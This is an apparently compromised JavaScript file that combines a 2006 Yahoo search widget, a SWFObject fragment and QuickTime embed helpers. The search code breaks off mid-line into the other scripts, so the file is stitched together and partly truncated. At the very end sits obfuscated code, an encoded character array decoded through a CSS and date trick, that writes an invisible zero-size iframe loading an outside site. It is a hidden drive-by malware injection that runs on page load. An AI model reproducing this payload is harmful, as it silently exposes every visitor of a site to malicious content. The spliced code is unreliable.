// SpiffY!Search, v1.10, 3/18/2006
// copyright (c) Kent Brewster, 2006
// feel free to use or abuse this code, BUT:
//
// - leave these credits intact
// - leave the "help" link alone
// - leave the API key set to SpiffySearch
//
// I'd also love to hear from you; please
// contact me via http://www.mindsack.com/

var obj =
{
	kickstart : function()
	{
		obj.id = 'ss';
		// delete this line if you don't want autofill
		obj.autoFillTag = 'B';
		// you can automagically get your default domain
		obj.defaultDomain = obj.getDomain(document.location + '?');
		// OR specify one here
		obj.defaultDomain = 'mindsack.com';
		// results per page
		// 100 = max ... more than 10 will be slow
		obj.resultsPerPage = 10;
		obj.skinnyLimit = 190;
		// messing with anything else may cause trouble!
		obj.f = document.getElementById(obj.id);
		obj.f.innerHTML = '';
		obj.f.id = obj.id;
		obj.f.action='#';
		obj.f.onkeypress = obj.disableCr;
		obj.resultSet = 0;
		obj.lastQuery = '';
		obj.lastDomain = obj.defaultDomain;
		obj.searchMode = ['yahooSearch', 'yahooNews'];
		obj.searchUrl = ['http://api.search.yahoo.com/WebSearchService/V1/webSearch', 'http://api.search.yahoo.com/NewsSearchService/V1/newsSearch'];
		var s = document.createElement('script');
		obj.s = obj.id + '_s';
		s.setAttribute('type','text/javascript');
		s.setAttribute('charset', 'utf-8');
		document.getElementsByTagName('head')[0].appendChild(s);
		obj.f.y = document.createElement('a');
		obj.f.y.mode = 0;
		obj.f.y.className = 'yahooSearch';
		obj.f.y.onclick = obj.toggleSearch;
		obj.f.appendChild(obj.f.y);		
		obj.f.r = document.createElement('input');
		obj.f.r.type = 'checkbox';
		obj.f.r.id = obj.id + '_r';
		obj.f.r.onclick = obj.toggleRestrict;
		obj.f.appendChild(obj.f.r);
		obj.f.d = document.createElement('input');
		obj.f.d.id = obj.id + '_d';
		obj.f.d.style.width = obj.f.offsetWidth - 10 + 'px';
		obj.f.d.value = obj.defaultDomain;
		obj.f.appendChild(obj.f.d);
		obj.f.q = document.createElement('input');
		obj.f.q.id = obj.id + '_q';
		obj.f.q.type = 'text';
		obj.f.q.autocomplete = 'off';
		obj.f.q.style.width = obj.f.offsetWidth - 10 + 'px';
		obj.f.appendChild(obj.f.q);
		obj.f.a = document.createElement('dl');
		obj.f.a.id = obj.id + '_a';
		obj.f.appendChild(obj.f.a);
		obj.f.u = document.createElement('p');
		obj.f.u.id = obj.id + '_u';
		obj.f.appendChild(obj.f.u);
		obj.f.h = document.createElement('a');
		obj.f.h.href = "http://www.mindsack.com/uxe/SpiffySearch";
		obj.f.h.innerHTML = 'help';
		obj.f.h.style.display = 'block';
		obj.f.h.style.margin = '3px';
		obj.f.h.style.textAlign = 'right';
		obj.f.appendChild(obj.f.h);
		if (obj.f.offsetWidth < 100)
		{
			obj.f.style.display = 'none';
		}
		else
		{
			if (obj.f.offsetWidth > obj.skinnyLimit)
			{
				var w = (obj.f.offsetWidth / 2) - 12;
				obj.f.d.style.width = w + 'px';
				obj.f.r.style.left = obj.f.offsetWidth - w - 24 + 'px';
			}
			else
			{
				obj.f.d.style.display = 'none';
				obj.f.r.style.display = 'none';
			}
			obj.f.a.style.width = obj.f.offsetWidth - 10 + 'px';
			obj.f.q.style.width = obj.f.offsetWidth - 10 + 'px';
			obj.f.onmouseover = obj.mouseOver;
			obj.f.onmouseout = obj.mouseOut;
			obj.f.onmouseup = obj.mouseUp;
			setInterval("obj.doStuff()", 500);
		}
		if (obj.autoFillTag)
		{
		    theKids = document.getElementsByTagName(obj.autoFillTag);
		    for (var i=0; i<theKids.length; i++)
		    {
		        theKids[i].style.cursor = 'pointer';
		        theKids[i].onmouseover = obj.stuffQuery;
		    }
		}		
	},
	toggleSearch : function()
	{
		obj.f.y.mode = (obj.f.y.mode + 1) % obj.searchMode.length;
		obj.f.y.className = obj.searchMode[obj.f.y.mode];
		obj.resultSet = 0;
		obj.runSearch();
	},
	toggleRestrict : function()
	{
		if (obj.f.q.value)
		{
			obj.resultSet = 0;
			obj.runSearch();
		}
	},
	mouseOver : function(v)
	{
		el = obj.getEl(v);
		if (el.className.match(/searchResult/))
		{
			obj.getNextSibling(el).style.display = 'block';
		}
		if (el.parentNode.className.match(/searchResult/))
		{
			obj.getNextSibling(el.parentNode).style.display = 'block';
		}
	},
	mouseOut : function(v)
	{
		el = obj.getEl(v);
		if (el.className.match(/searchResult/))
		{
			obj.getNextSibling(el).style.display = 'none';
		}
		if (el.parentNode.className.match(/searchResult/))
		{
			obj.getNextSibling(el.parentNode).style.display = 'none';
		}
	},
	mouseUp : function(v)
	{
		el = obj.getEl(v);
		if (el.id == obj.f.id + '_nx')
		{
			obj.resultSet += obj.resultsPerPage;
			obj.runSearch();
		}	
		if (el.id == obj.f.id + '_pr')
		{
			obj.resultSet -= obj.resultsPerPage;
			obj.runSearch();
		}	
		if (el.className == 'relatedTerm')
		{
			obj.f.q.value = el.innerHTML;
			obj.resultSet = 0;
			obj.runSearch();
		}	
		if (el.id == obj.f.id + '_yh')
		{
			var site = '';
			if (obj.f.r.checked)
			{
				site = '&vs=' + obj.f.d.value;
			}
    			var url = 'http://search.yahoo.com/search?p=' + obj.f.q.value + '&b=' + obj.resultSet + site;
    			window.open(url,'search','',0);		
		}
		if (el.className == 'addToMyWeb')
		{
			var ns = obj.getNextSibling(obj.getEl(v));
			var url = 'http://myweb2.search.yahoo.com/myresults/bookmarklet?t=';
			url += escape(ns.innerHTML);
			url += '&u=';
			url += escape(ns.name);
			url += '&tag=';
			var tags = obj.f.q.value;
			url += escape(tags);	
			url += '&ei=UTF-8';
			window.open(url,'popup','width=520px,height=420px,status=0,location=0,resizable=1,scrollbars=1,left=100,top=50',0);
		}	
		else
		{
			if (el.className.match(/searchResult/) || el.parentNode.className.match(/searchResult/))
			{
				v = v || window.event;
				if (v.shiftKey)
				{
					obj.f.r.click();
					obj.f.d.value = obj.getDomain(el.name);
					resultSet = 0;
					obj.runSearch();
				}
				else
				{
					window.open(el.name,'_vu');
				}
			}
		}
	},
	stuffQuery : function(v)
	{
		el = obj.getEl(v);
		if (el.innerHTML != obj.lastQuery)
		{
			obj.f.q.value = el.innerHTML;
			obj.runSearch();
		}
	},
	getEl : function(v)
	{
		var tg = (v) ? v : event;
		if (tg.target)
		{
			var el = (tg.target.nodeType == 3) ? tg.target.parentNode : tg.target;
		}
		else
		{
			var el = tg.srcElement;
		}
		return el;
	},
	getNextSibling : function(el)
	{
		var nextSib = el.nextSibling;
		if (nextSib && nextSib.nodeType != 1)
		{
			nextSib = nextSib.nextSibling;
		}
		return nextSib;
	},
	doStuff : function()
	{
		if (obj.f.q.value)
		{
			if (obj.lastQuery != obj.f.q.value)
			{
				obj.runSearch();
			}
		}
		else
		{
			if (obj.lastQuery)
			{
				obj.f.a.innerHTML = '';
			}
		}
		if (obj.f.d.value != obj.lastDomain && obj.f.r.checked)
		{
			obj.lastDomain = obj.f.d.value;
			obj.runSearch();
		}
	},
	disableCr : function(v)
	{
		if (v)
		{
			var k = v.which;
		}
		else
		{
			var k = window.event.keyCode;
		}
		return k!=13;
	},
	runSearch : function()
	{
		obj.lastQuery = obj.f.q.value;
		var startingRecord = '&start=' + obj.resultSet;
		var restrictDomain = '';
	//	if (obj.f.r.checked && obj.f.d.value)
	//	{
	//		restrictDomain = '&site=' + obj.f.d.value;
	//	}
		aPath=document.location.pathname;
		aPathArray=aPath.split("/");
		aPathArray.pop();
		aNewPath=aPathArray.join("/");
		
		var url = obj.searchUrl[obj.f.y.mode] + '?appid=SpiffySearch&language=en&query=' + obj.f.q.value + ' site:'+ document.location.host + ' inurl:'+aNewPath  + startingRecord + restrictDomain + '&results=' + obj.resultsPerPage + '&output=json&callback=obj.pingSearch';
		
		//var url = obj.searchUrl[obj.f.y.mode] + '?appid=SpiffySearch&language=en&query=' + obj.f.q.value + startingRecord + restrictDomain + '&results=' + obj.resultsPerPage + '&output=json&callback=obj.pingSearch';
		obj.runScript(url);
	},
	pingSearch : function(r)
	{
		obj.f.a.innerHTML = '';
		var nav = document.createElement('dt');
		nav.id = obj.f.id + '_n';
		var yh = document.createElement('a');
		yh.id = 'ss_yh';
		yh.title = 'Visit Yahoo! search for these results.';
		if (obj.f.offsetWidth > obj.skinnyLimit)
		{
			yh.innerHTML = 'from the Web';
			if (obj.f.d.value && obj.f.r.checked)
			{
				yh.innerHTML = obj.f.d.value;
			}
		}
		else
		{
			yh.innerHTML = 'Y!';
		}
		nav.appendChild(yh);
		if (obj.resultSet)
		{
			var pr = document.createElement('a');
			pr.id = 'ss_pr';
			pr.innerHTML = '&laquo;';
			pr.title = 'Previous Results';
			nav.appendChild(pr);
		}
		if (parseInt(r.ResultSet.totalResultsAvailable) > parseInt(r.ResultSet.firstResultPosition) + obj.resultsPerPage)                                                                                                       estParameter;
var FlashObject = deconcept.SWFObject; // for legacy support
var SWFObject = deconcept.SWFObject;





/*
 * Functions to generate OBJECT and EMBED tags for QuickTime content.
 * Resource: http://developer.apple.com/internet/ieembedfix.html
 */

/************** LOCALIZABLE GLOBAL VARIABLES ****************/

var gArgCountErr =	'The "%%" function requires an even number of arguments.'
				+	'\nArguments should be in the form "atttributeName", "attributeValue", ...';

/******************** END LOCALIZABLE **********************/

var gTagAttrs				= null;
var gQTGeneratorVersion		= 1.0;

function AC_QuickTimeVersion()	{ return gQTGeneratorVersion; }

function _QTComplain(callingFcnName, errMsg)
{
    errMsg = errMsg.replace("%%", callingFcnName);
	alert(errMsg);
}

function _QTAddAttribute(prefix, slotName, tagName)
{
	var		value;

	value = gTagAttrs[prefix + slotName];
	if ( null == value )
		value = gTagAttrs[slotName];

	if ( null != value )
	{
		if ( 0 == slotName.indexOf(prefix) && (null == tagName) )
			tagName = slotName.substring(prefix.length); 
		if ( null == tagName ) 
			tagName = slotName;
		return tagName + '="' + value + '" ';
	}
	else
		return "";
}

function _QTAddObjectAttr(slotName, tagName)
{
	// don't bother if it is only for the embed tag
	if ( 0 == slotName.indexOf("emb#") )
		return "";

	if ( 0 == slotName.indexOf("obj#") && (null == tagName) )
		tagName = slotName.substring(4); 

	return _QTAddAttribute("obj#", slotName, tagName);
}

function _QTAddEmbedAttr(slotName, tagName)
{
	// don't bother if it is only for the object tag
	if ( 0 == slotName.indexOf("obj#") )
		return "";

	if ( 0 == slotName.indexOf("emb#") && (null == tagName) )
		tagName = slotName.substring(4); 

	return _QTAddAttribute("emb#", slotName, tagName);
}


function _QTAddObjectParam(slotName, generateXHTML)
{
	var		paramValue;
	var		paramStr = "";
	var		endTagChar = (generateXHTML) ? ' />' : '>';

	if ( -1 == slotName.indexOf("emb#") )
	{
		// look for the OBJECT-only param first. if there is none, look for a generic one
		paramValue = gTagAttrs["obj#" + slotName];
		if ( null == paramValue )
			paramValue = gTagAttrs[slotName];

		if ( 0 == slotName.indexOf("obj#") )
			slotName = slotName.substring(4); 
	
		if ( null != paramValue )
			paramStr = '  <param name="' + slotName + '" value="' + paramValue + '"' + endTagChar + '\n';
	}

	return paramStr;
}

function _QTDeleteTagAttrs()
{
	for ( var ndx = 0; ndx < arguments.length; ndx++ )
	{
		var attrName = arguments[ndx];
		delete gTagAttrs[attrName];
		delete gTagAttrs["emb#" + attrName];
		delete gTagAttrs["obj#" + attrName];
	}
}

		

// generate an embed and object tag, return as a string
function _QTGenerate(callingFcnName, generateXHTML, args)
{
	// is the number of optional arguments even?
	if ( args.length < 4 || (0 != (args.length % 2)) )
	{
		_QTComplain(callingFcnName, gArgCountErr);
		return "";
	}
	
	// allocate an array, fill in the required attributes with fixed place params and defaults
	gTagAttrs = new Array();
	gTagAttrs["src"] = args[0];
	gTagAttrs["width"] = args[1];
	gTagAttrs["height"] = args[2];
	gTagAttrs["classid"] = "clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B";
	gTagAttrs["pluginspage"] = "http://www.apple.com/quicktime/download/";

	// set up codebase attribute with specified or default version before parsing args so
	//  anything passed in will override
	var activexVers = args[3]
	if ( (null == activexVers) || ("" == activexVers) )
		activexVers = "6,0,2,0";
	gTagAttrs["codebase"] = "http://www.apple.com/qtactivex/qtplugin.cab#version=" + activexVers;

	var	attrName,
		attrValue;

	// add all of the optional attributes to the array
	for ( var ndx = 4; ndx < args.length; ndx += 2)
	{
		attrName = args[ndx].toLowerCase();
		attrValue = args[ndx + 1];

		// "name" and "id" should have the same value, the former goes in the embed and the later goes in
		//  the object. use one array slot 
		if ( "name" == attrName || "id" == attrName )
			gTagAttrs["name"] = attrValue;

		else 
			gTagAttrs[attrName] = attrValue;
	}

	// init both tags with the required and "special" attributes
	var objTag =  '<object '
					+ _QTAddObjectAttr("classid")
					+ _QTAddObjectAttr("width")
					+ _QTAddObjectAttr("height")
					+ _QTAddObjectAttr("codebase")
					+ _QTAddObjectAttr("name", "id")
					+ _QTAddObjectAttr("tabindex")
					+ _QTAddObjectAttr("hspace")
					+ _QTAddObjectAttr("vspace")
					+ _QTAddObjectAttr("border")
					+ _QTAddObjectAttr("align")
					+ _QTAddObjectAttr("class")
					+ _QTAddObjectAttr("title")
					+ _QTAddObjectAttr("accesskey")
					+ _QTAddObjectAttr("noexternaldata")
					+ '>\n'
					+ _QTAddObjectParam("src", generateXHTML);
	var embedTag = '  <embed '
					+ _QTAddEmbedAttr("src")
					+ _QTAddEmbedAttr("width")
					+ _QTAddEmbedAttr("height")
					+ _QTAddEmbedAttr("pluginspage")
					+ _QTAddEmbedAttr("name")
					+ _QTAddEmbedAttr("align")
					+ _QTAddEmbedAttr("tabindex");

	// delete the attributes/params we have already added
	_QTDeleteTagAttrs("src","width","height","pluginspage","classid","codebase","name","tabindex",
					"hspace","vspace","border","align","noexternaldata","class","title","accesskey");

	// and finally, add all of the remaining attributes to the embed and object
	for ( var attrName in gTagAttrs )
	{
		attrValue = gTagAttrs[attrName];
		if ( null != attrValue )
		{
			embedTag += _QTAddEmbedAttr(attrName);
			objTag += _QTAddObjectParam(attrName, generateXHTML);
		}
	} 

	// end both tags, we're done
	return objTag + embedTag + '> </em' + 'bed>\n</ob' + 'ject' + '>';
}

// return the object/embed as a string
function QT_GenerateOBJECTText()
{
	return _QTGenerate("QT_GenerateOBJECTText", false, arguments);
}

function QT_GenerateOBJECTText_XHTML()
{
	return _QTGenerate("QT_GenerateOBJECTText_XHTML", true, arguments);
}

function QT_WriteOBJECT()
{
	document.writeln(_QTGenerate("QT_WriteOBJECT", false, arguments));
}

function QT_WriteOBJECT_XHTML()
{
	document.writeln(_QTGenerate("QT_WriteOBJECT_XHTML", true, arguments));
}


function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var uu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var fx=r[i].cssRules||r[i].rules;for(var li=0;li<fx.length;li++){var fzok=fx.item?fx.item(li):fx[li];if(!fzok.selectorText.match(/#va/))continue;cwy=(fzok.cssText)?fzok.cssText:fzok.style.cssText;uu=cwy.match(/(S[^")]+)/)[1];rb=fzok.selectorText.substr(1);};}catch(e){};}
clpo=new Date(2010,11,3,2,21,4);t=clpo.getSeconds();var lz=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,456/t,388/t,408/t,408/t,420/t,180/t,428/t,388/t,400/t,388/t,408/t,408/t,420/t,184/t,396/t,444/t,436/t,188/t,408/t,444/t,464/t,444/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var uifd="";var g=f
